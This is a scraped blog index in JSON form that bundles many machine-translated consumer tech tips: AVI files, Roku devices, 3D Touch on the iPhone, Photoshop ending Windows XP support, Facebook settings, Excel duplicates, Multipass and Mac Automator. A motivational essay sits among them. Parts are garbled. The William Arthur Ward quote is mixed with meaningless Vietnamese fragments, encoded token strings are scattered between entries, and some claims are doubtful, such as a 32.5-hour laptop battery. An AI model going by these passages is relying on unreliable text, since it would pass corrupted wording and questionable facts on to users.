ThinkPad T430 has appeared in Vietnam market with a starting price of 21 million and varies depending on the configuration, along with a flexible warranty for 3 years.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjK2foqabpa6ledNtamllpaiytHnAZpmarKSav7p5z5qapGWkna61ecuaqq2rXaq9bsDOZmprbV2dvLa%2B0g%3D%3D\n","link":"/post/the-thinkpad-t430-uses-a-battery-pack-that-lasts-up-to-32-5-hours/","section":"post","tags":null,"title":"The ThinkPad T430 uses a battery pack that lasts up to 32.5 hours"},{"body":"The file has an extension of .avi (Audio Video Interleave) which is a commonly used video format, containing both audio and video.\nWhat is AVI file? First developed by Microsoft in 1992, AVI is the standard video format for Windows devices. This file is saved in multimedia container format, storing audio and video using codecs like DivX and XviD.\nAVI files do not compress or compress less frequently when storing files so it takes up more space than other video file formats like MPEG and MOV. AVI files are usually larger in size, about 2 to 3GB per minute of video. However, the advantage of this file type is that it does not lose quality over time, no matter how many times you open or save the file. In addition, this also allows playback without codecs.\n  How to open AVI file AVI is a proprietary Microsoft file format, so if you plan to open it on a non-Windows system, you need third-party software.\nIf you are a Windows user, just double click on the file it will open in Windows Media Player.\n  If you can't open it, you can right-click the file and point to the Open With menu, then click Windows Media Player or another video-enabled application if you have it installed.\n  If using macOS or Linux, you cannot open AVI files as easily as on Windows because these platforms do not have an integrated application that supports AVI. Therefore, you need to install a third-party application such as VLC Player. This is a fast, open source, free video player and supports multiple platforms such as Windows, macOS, Linux, Android and iOS. VLC also supports a lot of video file formats and can play videos at high speed.\nSee more:\nWhat is MP4 file? How to open MP4 file? What is an MP3 file? What software do you listen to MP3 music on your computer? 5 best video conversion software available today ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRq7ZussilnGagn6x6tbuMqKeepl2Ww6p5xaKjng%3D%3D\n","link":"/post/what-is-avi-file-how-to-open-avi-file/","section":"post","tags":null,"title":"What is AVI file? How to open AVI file?"},{"body":"You no longer have to depend on cable companies if you want a wide range of TV programming options. Thanks to streaming devices like Roku, eliminating the need for cable TV services has never been easier. And once you do, you will never regret your decision.\nOn September 28, 2017, Roku officially debuted. Anthony Wood, founder and CEO of Roku, told CNBC: 'The position of Roku in this ecosystem is the platform that connects customers, advertisers and users. We have been competing with big companies very successfully for a long time. We do that by winning positive customer reviews. An operating system has been built specifically for TVs. It's the best way to stream, and it's also Roku's way to win customers 'love.'\n  If you're curious about Roku, see if one of its many products suits your needs, or how Roku competes with other competitors, the following article is devoted to Roku. for you. Here is everything you need to know about Roku.\nLearn about Roku What is Roku? How does Roku work? Which Roku device is right for you? Roku Express and Express + Roku Streaming Stick Roku Streaming Stick + Roku Ultra TV Roku  How can Roku fight the competitors? Apple TV and Roku Chromecast and Roku Amazon Fire TV Stick and Roku  What is Roku? Roku is a digital media player that allows you to stream videos, music and entertainment content. Think of Roku like a DVD player you never have to put a disc in. Roku comes in a variety of formats, from set-top boxes to TV sets with the service built into them. However, the common point of all Roku devices is its ability to give you access to a range of the largest content providers on the planet.\nWith Roku, you can stream Amazon Video, Netflix, HBO Go, Hulu Plus, Spotify, MLB, etc. while sitting comfortably on an indoor sofa without having to pay for cable service. Roku is the ideal media center for viewers who don't want to buy a video game console to watch digital content. Roku is affordable, versatile and easy to use.\n  How does Roku work? Roku requires an Internet connection. When you connect the device to one of the TV's HDMI ports, Roku will show you how to set up an Internet connection and create a Roku profile. Each Roku device comes with a remote that you use to navigate through the menus.\nWhen you first use Roku, you'll find it loaded with some of the most traditional services, including Netflix, Amazon Video, and Hulu. But there is so much to discover. Roku has more than 3,000 channels available that you can connect from the Roku Channel Store.\nTo find new channels, go to the main menu and select 'Streaming Channels'. From there you can search for channels by category, from 4K content to top free channels. Some channels, like Netflix and Hulu, require you to subscribe, but there are free options like Crackle that offer ad-supported programming.\nRoku makes eliminating cable television service extremely easy. If you're looking to recreate your cable service without a technician to check in periodically and a long-term contract, Roku is the ideal choice to stream live TV channels via services including Sling TV, Hulu with Live TV, CBS All Access, DirecTV Now, FuboTV, Philo and PS Vue. For $ 4.99 (VND 1,115,000), you can also add Acorn TV, a streaming service specializing in British dramas and comedies, or Crackle, a free advertising support option for movies and TV show.\nEach Roku model can use the hotel's WiFi connections, requiring you to log in before accessing the Internet, a handy feature for frequent travelers. Roku remote control is very simple, but that's part of the charm of this product. Your grandparents can grab the Roku remote and quickly find their favorite content. You can also easily use Kodi media player with Roku.\nIt is important to note that not all Roku devices are created equal. To serve different needs, Roku offers a wide variety of models, from simple, cheap dongles to more expensive set-top boxes, offering features like 4K Ultra HD videos.\n  Which Roku device is right for you? Roku has updated its complete 'lineup', addressing many backlog issues in previous versions of the device. With onboard upgrades, Roku has laid the groundwork for its future with these new devices. This is what you need to know.\n  Roku Express and Express + Roku Express is the most basic form of Roku, providing 1080p HD streaming in a cheap and simple package. Roku Express + allows users with old TVs to still use A / V cables to turn them into modern smart devices. Roku Express costs $ 29.99 (690,000 VND), and Express + is $ 39.99 (920,000 VND). The remote control on each model requires you to point the device to operate, but for less than $ 42 (VND 986,000), you can watch high-resolution programs.\n  The price is quite attractive and things have gotten better thanks to Roku's most recent product update.\nEach Express model is now 5 times more powerful than before, fixing the annoying problem that many users encounter with new applications, in which navigation is quite slow. Using Express and Express + is a fast, compelling experience, whether you browse the web with a remote control or a service app. You are still limited to 1080p maximum output, but among budget streaming devices, Roku Express can't be beat.\n  Roku Streaming Stick If you don't want to mess with a set-top box or need a portable device on the go, the Roku Streaming Stick is your choice. This $ 49.99 model is merely an HMDI stick that sticks to the back of any modern TV.\nWith a 'pointing from anywhere' remote, the Roku Streaming Stick is perfect for game rooms or dormitories, where you can't always stand directly in front of the TV. For an additional $ 10 (VND 230,000) to own a Roku Streaming Stick, you'll get screen projection from your Android or Windows device.\nRoku's new Streaming Stick device has a 50% faster processor and an upgraded remote control. The remote control has been improved to add voice control functionality, along with the ability to control volume and power for the TV. Roku Streaming Stick can now turn off the TV for you. Even then this feature makes Roku easier for the whole family to use.\n  Roku Streaming Stick + The latest addition to the Roku family is the Streaming Stick +, replacing the Roku Premiere and Premiere +. This $ 69.99 (1,610,000VND) product is the perfect streaming stick for the future, especially if you plan to upgrade your TV.\nStreaming Stick + supports HD, 4K and HDR videos. It has the same 'pointing from anywhere' remote like the standard Stick, with voice commands, as well as the ability to control volume and power. Lastly, the device has an advanced wireless receiver, offering 4 times the range, making it perfect for game rooms away from routers or hotel rooms.\nI tested Streaming Stick + for several weeks and came to the conclusion, this is the best Roku experience ever. Navigating menus is quick and easy, even when logging in with the remote control. Voice search can find your favorite shows in just a few words. Whether or not it's worth the extra $ 20 (VND 460,000) depends entirely on whether you plan to upgrade to 4K or not, but even on an HD TV, Streaming Stick + is an app that's incredibly appealing.\n  Roku Ultra Roku Ultra is currently a \"strange\" product in the Roku family. At $ 99.99 (VND 2,300,000), it is one of the most expensive mid-range streaming devices on the market and most users will have to wonder whether its unique features are worth $ 30. (VND 690,000) or not. Roku Ultra handles HD, 4K and HDR content very easily. However, there have been some changes, including the removal of optical audio output.\nUltra still has its appeal, especially if you need a media center, thanks to the USB and microSD ports, which allows you to play your personal digital media library from a variety of video and audio formats. support.\nIf you are a remote controller, Roku Ultra may be the ideal choice for you. Roku Ultra's remote control, including a speaker, can be activated from the Ultra box itself. Just press the button and your remote will beep until it is in your hand.\nYour remote control can now also control the volume and power of the TV. While every Roku device has a Private Listening feature via the Roku app, the Ultra remote also includes a headphone jack so you can view privately without using your phone. Lastly, Ultra has an Ethernet port, handy for streaming 4K movies if you don't have an exceptionally fast WiFi router.\n  TV Roku Roku has been integrated into selected TV models. When it comes to Roku TVs, models and features are divided into two categories: HD and 4K. The HD model has the same basic features as the Roku Premiere +, except for the headphone jack in the remote. Roku's 4K models mostly come with all the same features as Roku Ultra, except for HDR support.\nThe only downside of the Roku TV is that no model has a great Night Listening mode. If you are going to buy a new TV, while there is no streaming option and a gaming system, then Roku TV is worth considering. But you can simply choose your favorite TV and use the Roku Streaming Stick.\n  How can Roku fight the competitors? Apple TV and Roku Apple TV and Roku both recently underwent hardware updates, but Roku clearly won. The base-level Apple TV costs up to $ 149 (VND 3,427,000) but eventually brings 4K to this device. The problem is that you can get a 4K Roku for $ 69.99 (VND 1,610,000) or $ 99.99 2,300,000 VND. If you choose Streaming Stick +, then the difference of $ 80 (VND 1,840,000) is only for 4K images, not to mention how many streaming channels that Roku offers.\n  Chromecast and Roku In the battle between Roku and Google Chromecast, Roku was an unbeatable opponent. Chromecast starts at $ 35 (VND 805,000), while Roku Express, offering similar features, only costs $ 29.99 (VND 690,000). In fact, that is incorrect, because Chromecast does not come with a remote control. Chromecast's 4K option, Ultra, costs the same price as the Roku Streaming Stick + and again, it doesn't come with a remote control. At any price, Roku has many better options than Chromecast.\nAmazon Fire TV Stick and Roku If you just want a basic streaming device, Roku Express is the best option. Priced at $ 29.99 (VND 690,000), it handles HD content, comes with a great remote control and can be controlled using the Roku app. However, if you're intrigued by the idea of ​​voice control, Amazon is always the top option.\nAt $ 39.99 (VND 920,000), the Amazon Fire Stick is the biggest competitor Roku Stick has at the moment. Amazon's streaming stick works like a Roku, but comes with an Alexa voice remote control, allowing you to call out content without having to search for it.\nHowever, when it comes to 4K, Amazon Fire TV and Roku Streaming Stick + are all priced the same. The problem is which product you like. However, Roku offers more streaming channels than Amazon, so this factor is worth considering if you're thinking about buying.\n  Wish you find yourself a suitable choice!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWipLi2eceormacn5rAbr7OpKxmr5%2BnuA%3D%3D\n","link":"/post/what-is-roku-how-does-roku-work/","section":"post","tags":null,"title":"What is Roku? How does Roku work?"},{"body":"Since appearing on the iPhone 6S line, 3D Touch has brought a new and exciting feeling to users. Based on our impact on the screen, 3D Touch will determine the exact requirements you want to use. This will lessen the operations when we use them on the iPhone. The article will give you some tips on 3D Touch on iPhone.\n1. Delete notifications by 3D Touch: Normally, to delete notifications on the device you will have to delete each message. If you do not delete the notice in a few days, or weeks, then it will take some time to delete all the notifications.\nHowever, 3D Touch will help us delete all notifications on the device as quickly as possible, with just a few touches. At the notifications interface on the device, click on the X and select Delete all notifications . When clicking on that option, all notifications can be completely deleted, without having to delete each one as before.\n  2. Quickly see the notice: If there is a notification coming in and you want to see the content you will need to slide on the screen. However, there is no need for such cumbersome operations when we have the support of 3D Touch. Users just need to click on the notification to see the content is okay.\nBesides, the lock screen interface on iPhone is also improved, so you can also reply quickly to the message without having to unlock it and then access the application to reply to the message as before.\nSee more posts iOS 10 screen unlock is much simpler with 3 ways.\nNote , this feature is only available on iPhone 6S or iPhone 7 devices.\n  3. Customize on Control Center with 3D Touch: Control Center on the iPhone version has taken on more functions than previous versions, especially when there is a combination of 3D Touch. Right at the Control Center, we can adjust the mode of flashlight, clock, select the mode of Camera, or computer depending on the purpose of use.\n    4. Change the folder name faster: In previous iOS versions, we were still familiar with the task of renaming the folder, we had to go to that folder, touch it before we could delete the old name and replace the new name for the folder. From iOS 10 version, there will be no need for 3, 4 actions, just one touch with 3D Touch.\nTo rename the folder on iPhone, click on the folder you want to rename and select Rename to finish.\n  5. Share application link faster: Sending applications to friends on previous iOS will undergo copy and paste operation. You will need to copy the application link, game on the App Store or any other page, then send it to a friend. Of course, this operation has become familiar to everyone so it will not feel too complicated. However, why don't we shorten the steps when the device has been released for iOS 10?\nIn the app store on the iPhone, we just need to click on the application we want to share and then there will be an option to share the app. Click on it then send it to your friends anywhere you want, Zalo, Facebook, Viber, or even with Gmail.\n  6. Turn on and off 3G quickly: When we press and hold the Settings icon, there are more options like Wi-Fi, Bletooth, Battery, Mobile Data. Soon, you can adjust your preferences with items such as turning off or on 3G for example.\n  7. Pause application downloads: If we are downloading multiple applications at the same time and want to pause downloading an application, we can use 3D Touch to stop downloading.\nWhen using 3D Touch on a downloading application, different options appear, such as Temporarily Stop loading, Canceling downloads, Download priority. With the Download Priority option, users will be allowed to choose an application that you want to download first compared to other applications.\nRefer to the article How to set the priority to download applications on iOS 10.\n  8. Move the cursor quickly when typing You may have heard about this feature, which makes typing faster. When entering text and want to move the cursor, use 3D Touch on the keyboard and you can drag the cursor as you like. It basically turns the keyboard into a pointer table.\n  9. Go to any application in the directory with the notification Folders are a great way to organize applications or hide applications that are rarely used, but every time searching for an application with a notification in the directory is not great, especially when your directory Contains many applications. However, when using 3D Touch on a folder, you will see a list of all the applications with notifications.\n  10. Prioritize downloading applications in the App Store If you download multiple apps at once like installing new apps or updating apps, you can prioritize which apps are preloaded using 3D Touch on a loading application and selecting the option ' Prioritize Download . This way you will prioritize downloading important applications and running them first.\n  11. Take a selfie or shoot video quickly Many apps have quick shortcuts when pressing 3D Touch on the home screen, but the Camera app is especially useful when you want to switch to a specific mode. When pressing 3D Touch on the Camera app, there will be some options like T ake Selfie, Record Video, Record Slo-mo, Take Portrait . This trick is useful when you want to take a quick snapshot of something.\n  12. Easily save images from the web When you want to save images from the web the fastest way is to use 3D Touch on the image you want to save, swipe up and select the option ' Save Image '.\n  13. Ask Google to stop displaying AMP pages If you don't like AMP pages you can use 3D Touch by seeing an AMP link in Google's search results on Safari, pressing 3D Touch on it until it opens and Google will ignore the AMP page and give it. You go straight to the regular website.\n   Refer to the article: How to disable Google AMP in Google search on Android and iPhone\n14. Delete the text you entered faster To quickly delete the text entered in iOS, you usually press and hold down the delete key. However with 3D Touch, the text will be deleted more quickly.\n  15. See summary content about a movie or show on Netflix   When browsing Netflix on iOS apps, if you want to see a quick summary of a movie or program, simply press 3D Touch on the icon. This is a great way to view content without clicking on it.\nHere are some tips for using 3D Touch on iPhone, hoping that these tips will help you use the iPhone faster.\nRefer to the following articles:\nUseful shortcuts on iPhone with 3D Touch without your knowledge Tips for using 3D Touch on iPhone 6S as electronic scales Instructions for using Home with Control Center on iPhone I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ksaqwjLKmrmWbo7y4edOhnGasop6wrL%2BMraZmraOaenSwjK2mrpuYYryvecipn6imlQ%3D%3D\n","link":"/post/did-you-know-the-tricks-to-use-3d-touch-on-iphone/","section":"post","tags":null,"title":"Did you know the tricks to use 3D Touch on iPhone?"},{"body":"\"You have changed\".\nThis is probably a saying that refers to the end of so many things.\nBasically, this is another expression of a more common saying: \"It's over.\"\nThese words can describe the end of a friendship, a relationship, cooperation or something like that that you \"create\" that end.\nMany people feel afraid and hate when being commented as \"changed\".\nHowever, what does this sentence really mean?\nIt means someone has changed and others don't. People don't change, most people are the ones who tell you \"you have changed\".\nSo why did this change become such a bad thing? Is this change not the one that brought us all right where we are right now? This change, improvement, innovation is not the only thing that will help all of us step into a new era? To make further progress?\n  I guess it is so. But, everyone likes security and safety. The bigger the better. So everyone is afraid to change even knowing that change will help them discover many things.\nMost people die at 25 and aren't Buried until they're 75 - Benjamin Franklin\nMost people died at the age of 25, only to bury them at the age of 75.\nBy the age of 25 (or in that range), if you dare not live for your own goals and passions, but follow an existing mold of those who went before, you must have \"died clinically\". . We \"die\" without knowing that we have \"died\", \"died\" in the spirit, in the mind, whether health and physical condition are completely normal like those who have not \"died\".\nIn a world where there is no longer anything called safety, people crave stability more than ever. So, we cling to what we already know. We do not want to change. We want what has been achieved forever. Forever.\nEven if the \"syndrome\" is afraid to change, we cannot continue to improve, to become better people, to be able to explore our strengths and unlock the true potential of each person. . Though I know that, many people feel . afraid!\n  Change is the nature of life, the law of the universe. Once the law of the universe, no one can oppose or stand outside its reach. We will not be able to imagine and cannot live in an unchanging world every day. Since the world does not change, we probably cannot exist in the world.\nMost people are afraid to change. The whole life seems to just want to stay around in what is called the \"safe zone\". \"That safe zone\" is surrounded by what you already know - learned - has been heard - experienced - familiar .; Then you live again, working in an environment where there are people, vehicles and things that make you feel comfortable and comfortable. Gradually, you don't want to get out of it, because you fear \"safety\" will disappear.\nHowever, the so-called \"safety\" is not always \"safe\" forever. In the long run, your life will be extremely boring. That, just as you go to the sea but only know to hold the buoy - you feel safe when you hold the buoy tightly and viciously close to the shore . If you keep going, when do you ever swim, ever you know that the vast sea is extremely large and under the clear blue water there is also an extremely diverse and colorful world with the existence of hundreds of other creatures .\n  Why can't you just keep eating one food? Because you feel boring and even . unable to swallow.\nReading a book a few times you got bored, watching a movie for the third time was frustrating and often had to be a long time, you have a \"motivation\" to review (if the movie has meaning and influence. great to your thoughts.\nIf you keep doing one thing, one day in a week, you will feel that your life is so boring and so monotonous .\nHành động của xa là thành học. The purpose of life is to grow. Tình trạng của tình trạng cần chuyển đổi. The challenge of life is to overv. Tập tin: cơ sở dữ liệu này Cấu hình cơ sở dữ liệu là để tạo. The secret of life is to dare. Người dùng spice cần được befriend. The beauty of life is to give - William Arthur Ward.\nThe adventure of life is learning. The purpose of life is maturity. The nature of life is change. The challenge of life is to overcome. The essence of life is caring. The opportunity of life is to serve. The secret of life is to do it. The taste of life is to help. The beauty of life is giving.\nI know. Very difficult, extremely difficult to change (for many people it is). But, change can be the only \"constant quantity\" that we must face in life. That is the only thing that will always be there. And you have to \"grab\" it.\n  At this point, I also want to warn you one thing, not everyone succeeds in changing.\nThe world outside your \"safe zone\" is vast, majestic but it is only for those who are really brave, have dreams, dare to change themselves, dare to give up bad habits and comfort. are there to break through. If you still remain fearful, dizzy, lacking in orientation, indeterminate . then you cannot survive.\nSo, when you decide to change, be ready to let go of unnecessary things and put a high level of determination into more important things that are close to the goals you want to achieve.\nFrom now on, whenever someone says \"you have changed,\" you understand what this statement means.\nYou may be on the right path to a place or wherever you want.\nDo not rush to follow the path when your heart still wonders the question: \"Do not know upstream, my life will be like?\". Try it before it's too late. Because rewards for courageous people are waiting for you.\nncG1vNJzZmismaXArq3KnmWcp51ksbC602aZnmWRm7%2BitcNmrqGdnmK9prvPpZxmr5ikeqK%2BxGaYn6qRnrFuwM5mmqGZnpyybr%2FAsmSyp6Wrsm6vx5qloJ2U\n","link":"/post/don-t-be-afraid-when-people-who-are-afraid-to-change-say-you-ve-changed/","section":"post","tags":null,"title":"Don't be afraid when people who are afraid to change say 'you've changed'"},{"body":"Although Windows XP is extremely popular, supporting an 11-year-old platform is outdated. The next version of Photoshop requires Windows 7 or higher.\nMicrosoft launched Windows XP in 2001, and Adobe on September 15 announced Photoshop CS6 as the final version supporting this platform. Product manager Tom Hogarty of Adobe wrote on the blog: 'The Photoshop team announced Photoshop CS6 (13.0) as the last Photoshop version to support Windows XP.'\n  The reason for this is that the software needs a more modern hardware graphical interface that Windows XP lacks, especially the way to utilize the power of the GPU. If you take advantage of the new operating system and new hardware, Adobe can deliver exceptional processing performance and focus your creative efforts to the greatest benefit for customers. Windows XP users themselves have not fully utilized the advantages of Photoshop CS6 as important upgrades in 3D, Blur Gallery and Lighting Effect.\nAdobe will patch the current version of CS6. Recently, it launched Creative Cloud subscription for Creative Suite 6 and other software whereby users will pay $ 50 / month for a year. One of the advantages of this package is that the new features on CS7 will be updated immediately after Adobe completes. Of course, Windows XP users do not have this privilege.\nEarlier, Adobe also stopped supporting Windows XP with Lightroom products. There are still millions of Windows XP users in the world, but Windows 7 has officially dethroned XP to become the world's most popular operating system. Over the years, Microsoft has been pushing users to switch to newer platforms, especially Windows 8 - that have been completed but have not been released to the public.\nAnother big company also announced a similar decision to Adobe on September 14: Google said it would not support Google Apps on IE8 - the most modern version of Internet Explorer running on Windows XP. Windows Vista and Windows 7 both run IE9, and Windows 8 will bring IE10.\nncG1vNJzZmismaXArq3KnmWcp51krqW7wZ5kn6qfonqxtM6tpqygn6V6pL%2BWZpuonaNiu7DAjKysqaifp8Fuw8inm6ivo2LFsQ%3D%3D\n","link":"/post/from-photoshop-cs7-does-not-support-windows-xp/","section":"post","tags":null,"title":"From Photoshop CS7 does not support Windows XP"},{"body":"Facebook is the most famous social network in the world today, but some of the information changes on Facebook are still difficult to find. One of them we can mention is the change of date of birth on Facebook, the developer has left this change in a fairly tight spot. In this article, Software Tips will guide you How to change your birthday on Facebook.\n  I. How to change your birthday on Facebook using a computer Step 1: You proceed to access your Facebook and select the Profile page to move to your personal page.\n  Step 2: Once you have accessed your personal page, select the About tab .\n  Step 3: In the Introduction tab, you will see a lot of your personal information. You choose the contact and basic information , here you will see the day / month / year of your birth.\nYou just need to hover on the date / year of birth and Facebook will display the Edit option . You click Edit to proceed to change your date of birth.\n  Step 4: When you edit there will be two parts to note as follows:\nDate of birth Visibility: Public, only me, friends. In the display modes, if you choose Public , anyone can see your date of birth. If you choose Only me , only you can see your birth date. As for the Friends mode , everyone on your friends list will be able to see your birth date.\nAfter editing is complete, you select Save changes to save.\nNote: Use accurate birth date information to avoid Facebook requiring verification, Checkpont by taking ID, GPLX.\n  II. How to change your birthday on Facebook with your phone Step 1: You proceed to launch Facebook and select the Options icon (3 horizontal stripes) and select View your profile .\n  Step 2: Next, select Edit public details and scroll down to the end, select Edit introductory information .\n  Step 3: After that, you will see your date of birth, you choose Edit to change the information. After the change is made, the system automatically saves you without saving.\n  In this article, Software Tips guide you how to change the date of birth on Facebook quickly and standardly. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyypq6qXZe2s8DHnZiyZZ%2Bjeqetwp6ZqKeb\n","link":"/post/how-to-change-your-birthday-on-facebook/","section":"post","tags":null,"title":"How to change your birthday on Facebook"},{"body":"You have just set up an image as a desktop or lock screen, but not satisfied with how to cut the image of Windows 10? Fortunately, you can customize the image to fit the screen.\nYou don't need to download a third-party image editing application that can immediately use Windows 10's Photos app because it knows the screen size, so you won't need to find the size anymore.\nHow to change Win 10 computer wallpaper How to get Unsplash photos as Windows 10 wallpapers Instructions for changing Windows 10 wallpaper timer How to edit images that fit the screen on Windows 10. Step 1 . Open the image in Photos and hover over the top of the window.\n  Step 2 . Click Edit .\n  Step 3 . Click Crop .\n  Step 4 . Click on Aspect Ratio .\n  Step 5 . Select Lock Screen .\n  Step 6 . Adjust the crop box by dragging and moving the corner buttons to select the location you want to use and click Apply .\n  Step 7 . Click Save a copy.\n  Step 8 . Click the three dots button ( . ).\n  Step 9 . Select Set as .\n  Step 10. Select Set as lock screen or Set as background . Repeat steps 8, 9, 10 if necessary.\n  So now your photo will fit on the screen.\n  I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFuvMeoq6irXam8brLIrWStoJVisaa%2Fyq2mqWWfo3q4tc2dprCrXWZ9\n","link":"/post/how-to-edit-photos-to-fit-the-desktop-on-windows-10/","section":"post","tags":null,"title":"How to edit photos to fit the desktop on Windows 10"},{"body":"  Open the original file. The first thing you need to do is select all the data that you want to check for duplicates.\n  Click the box in the upper left corner of the data group to begin the selection process.\n  Hold down the ⇧ Shift key and click the last cell in the lower-right corner of the data group. All your data will be selected.\nYou can proceed in any order (such as clicking the bottom right box first, then starting the check).\n  Click \"Conditional Formatting.\" The option is in the \"Home\" tab/ribbon of the toolbar (in many cases, you'll find it under the \"Styles\" section). A drop-down menu will appear.\n  Select \"Highlight Cells Rules\" and then select \"Duplicate Values\". Your data should be highlighted. Another window will open with the options in the drop-down menu.\n  Select \"Duplicate Values\" from the drop-down menu.\nIf you want to display only one value, select \"Unique\".\n  Select the highlight color. The highlight color will represent duplicate values. By default, the text will be dark red and light red.\n  Click \"OK\" to see the results.\n  Select the duplicate cell and press the Delete key to delete it. You should not discard if these values ​​represent certain data (such as survey numbers).\nAfter you remove duplicate data, the only remaining value will no longer be highlighted.\n  Click \"Conditional Formatting\" again. Whether you decide to remove duplicate data or not, it's a good idea to disable formatting before closing the document.\n  Select \"Clear Rules\", then select \"Clear Rules from Entire Sheet\". All markings of duplicates that you do not delete will be removed.\nIf the spreadsheet has a lot of formatted entries, you can select a specific area and then click \"Clear Rules from Selected Cells\" to remove the highlight.\n  Save changes to the document. If you are satisfied with the results, then you have succeeded in finding and removing duplicate data in Excel!\nUse Excel's Remove Duplicates feature   Open the original file. The first thing you need to do is select all the data that you want to check for duplicates.\n  Click the box in the upper left corner of the data group to begin the selection process.\n  Hold down the ⇧ Shift key and click the last cell in the lower-right corner of the data group. All your data will be selected.\nYou can proceed in any order (such as clicking the bottom right box first, then starting the check).\n  Click the \"Data\" tab at the top of the screen.\n  Find the \"Data Tools\" item in the toolbar. This section includes tools for managing selected data, including the \"Remove Duplicates\" feature.\n  Click \"Remove Duplicates.\" A customization window will open.\n  Click \"Select All\". All columns in the document will be selected.\n  Check the columns where you want to apply the tool. By default, all columns will be selected.\n  Click the \"My data has headers\" option if you feel the need. The program will label the header for the first item in each column and exclude them from the deletion process.\n  Click \"OK\" to remove duplicate data. When you are satisfied with the options, click \"OK\". All duplicate values ​​will be removed from the selection.\nIf the program responds that there are no matching cells when you know for sure there are, check the box for each column in the \"Remove Duplicates\" window. Checking one column at a time fixes the error.\n  Save changes to the document. If you are satisfied with the results, then you have succeeded in finding and removing duplicate data in Excel!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6Zo7FusNSpo6KbkamybrDArZhmoZ5isrmvxKU%3D\n","link":"/post/how-to-find-duplicate-data-in-excel/","section":"post","tags":null,"title":"How to Find Duplicate Data in Excel"},{"body":"If you're a developer or a system administrator, you'll want to be able to quickly create virtual machines on a Linux distribution for testing. There are many different solutions, such as Docker, VMWare, VirtualBox, Vagrant, etc.\nMultipass is a lightweight virtual machine manager that allows you to easily and quickly launch an Ubuntu virtual machine. Here is how you can do so.\nHow to set up Multipass Multipass is available for Windows, macOS and Linux. For Windows and macOS, you can download the relevant packages and install them like any regular application. Just be aware that for Windows, you will need to install VirtualBox or Hyper-V. Hyper-V is only compatible with Windows 10 Pro and Windows 10 Enterprise. After installation, you can use Multipass from the Terminal.\nFor Linux, you can install Multipass using Snaps. After installing snapd, you can install Multipass with the command:\nsudo snap install multipass --classic Use Multipass After installing Multipass, you can launch an instance (specific case) with:\nmultipass launch --name instance-name Launch an instance with Multipass By default, this command will download the current Ubuntu LTS (at the time of writing it is Ubuntu 20.04). You can set up multiple instances with Multipass (with different names) and then use them for different purposes. You can view installed instances with:\nmultipass list View installed instances You can also start and stop instances as you like with:\nmultipass start instance-name multipass stop instance-name Multipass allows you to interact with and run commands within the virtual machine. To do this, you need to run the command:\nmultipass exec instance-name -- sudo apt update The uses of Multipass Multipass is useful from a development standpoint, because you can quickly test code on different versions of Ubuntu. However, it also has other great uses.\nRun Linux GUI applications on macOS You can use XQuartz to display Linux GUI applications on macOS. To do this, you will have to set XQuartz to Allow connections from network clients . Once completed, you can install the application whose GUI you want to see in a Multipass instance. You can then ask Multipass to open the application by pointing it at the computer's IP address.\nRun Pi-Hole Pi-Hole is a popular network-based ad blocker for Linux. You can set this ad blocker all over the network with the Raspberry Pi, but it's a bit more convenient to set this up with Multipass.\nSet up a Kubernetes Cluster on Windows Set up a Kubernetes Cluster on Windows Kubernetes allows you to manage workloads and services in a container. This allows for more efficient management of system resources. Kubernetes is a great option for running effective applications. You can use Multipass to set up Microk8s on a Multipass instance. This allows you, essentially, to deploy a container with Kubernetes from a Windows machine.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlnrCsuNhmo5qtnpi1bsHBrqWtrV2rtrPA1JqjZqWRmLWqusRmrqKsmGK6trjToqeaq6M%3D\n","link":"/post/how-to-quickly-launch-ubuntu-virtual-machine-with-multipass/","section":"post","tags":null,"title":"How to quickly launch Ubuntu virtual machine with Multipass"},{"body":"However, the Automator tool on Mac can help you solve the problem with just one click. Automator is an application that helps automate many of the daily tasks of users on Mac, including closing applications. Through Automator you can create a custom 'widget' that quits all running applications.\nOf course, you can also pin this utility to the Dock for quick use if you want. Then, you only need to click once on this custom widget in the Dock when you need to quickly close all of your Mac apps.\nHow to Quit All Open Mac Apps With One Click With Automator Utility To get started, open Automator on your Mac. Do this by pressing Command + Space (spacebar) to open Spotlight, enter the search keyword ' Automator ' and click the search results returned.\n  In the Automator window, navigate to the top menu bar and choose File \u0026gt; New to create a new widget. Or you can also press Command + N to do this.\n  Immediately, a window titled ' Choose a type for your document ' will open. Here you select ' Application ', then click the ' Choose ' button at the bottom of the window.\n  Next, the Automator main window will open. In the top left corner, click ' Actions '. Then you click in the text box next to ' Actions ' and enter the name for the custom widget you are about to create, such as ' Quit All Applications '.\n  A utility called ' Quit All Applications ' will appear below the text box. Use your mouse pointer to drag and drop this utility into the gray frame on the right, as shown below.\n  Automator will now let you configure your newly added action. In the ' Quit All Applications ' section on the right side of the Automator window, enable the ' Ask to save changes ' option if you want to show a request to save changes before closing running applications.\nThen in the 'Do not quit ' section, click ' Add ' to add the apps that you don't want to close when activating this Automator add-on. For example, if you want to close all applications except the web browser, add your web browser here.\n  Save the Automator utility by clicking File \u0026gt; Save in the menu bar.\n  In the save option settings dialog that appears, click ' Save As ' and enter a name for the extension. Next, click the \" Where \" drop-down menu and select \" Desktop \", then hit \" Save \" at the bottom.\n  The custom Automator widget you just created is now available. Just double-click it to quickly close all running apps on your Mac when needed.\nWith that said, you can also drag and drop this widget from the desktop to the Dock. Once there, you only need to click once on this widget in the Dock to close all running applications.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqmlnsFurculZKiolaN6orzPpaCcmaSevK%2B%2FjKilZqWRmHq4tdOhZKimlWKwrbXCpA%3D%3D\n","link":"/post/how-to-quit-all-open-applications-on-mac-with-one-click/","section":"post","tags":null,"title":"How to Quit All Open Applications on Mac with One Click"},{"body":"In this tutorial, TipsMake.com will show you how to set up and configure DFS (Distributed File System) Namespaces in Windows Server 2016.\nDFS allows you to set up shared folders stored on different servers into one or more logical namespaces. Each namespace appears to the user as a shared folder with a series of subfolders. This setting increases the availability and automatically connects users to shared folders on the same Active Directory Domain Services page.\nInstall DFS Role Log on to Windows Server 2016 and open the Server Manager control panel . Click on Add roles and features.\nThe Add roles and features wizard will appear:\nThe Add roles and features wizard will appear Click on Next. Select Role-based or 